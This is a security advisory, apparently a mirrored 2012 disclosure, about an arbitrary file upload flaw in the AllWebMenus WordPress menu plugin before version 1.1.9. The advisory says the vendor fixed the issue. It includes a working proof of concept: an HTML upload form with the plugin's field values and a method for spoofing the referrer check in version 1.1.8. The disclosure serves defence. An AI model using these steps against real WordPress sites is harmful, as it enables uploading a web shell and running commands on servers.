AllWebMenus < 1.1.9 WordPress Menu Plugin Arbitrary file upload

Type securityvulns
Reporter Securityvulns
Modified 2012-02-13T00:00:00


Exploit Title: AllWebMenus WordPress Menu Plugin Arbitrary file upload

Version: < 1.1.9

Date: 2012-01-19

Author: 6Scan ( security team

Software Link:

Official fix: This advisory is released after the vendor was contacted and fixed the issue promptly.

Description: Unauthorized users could upload arbitrary files to the vulnerable server, potentially executing commands

AllWebMenus WordPress Menu Plugin <1.1.8 Remote File upload

On versions < 1.1.8 , lack of checks in script actions.php allowed malicious user to upload any file to the vulnerable server. Create a file (For example, Wordpress_security.php , with this content <?php echo '6Scan to the rescue'; ?> ) Compress it with zip to

Use this form to upload the php file to the server

<form action="" method=post enctype="multipart/form-data"> <input type="file" name="awm1" size=100> <input type="hidden" name="AWM_menu_id" value="2134234"> <input type="hidden" name="theaction" value="zip_update"> <input type=submit> </form>

Version 1.1.8 also checks the source referrer, so you have to use scripting language (or spoof it in another way) to set the HTTP_REFERER to "wp-admin/options-general.php?page=allwebmenus-wordpress-menu-plugin/allwebmenus-wordpress-menu.php"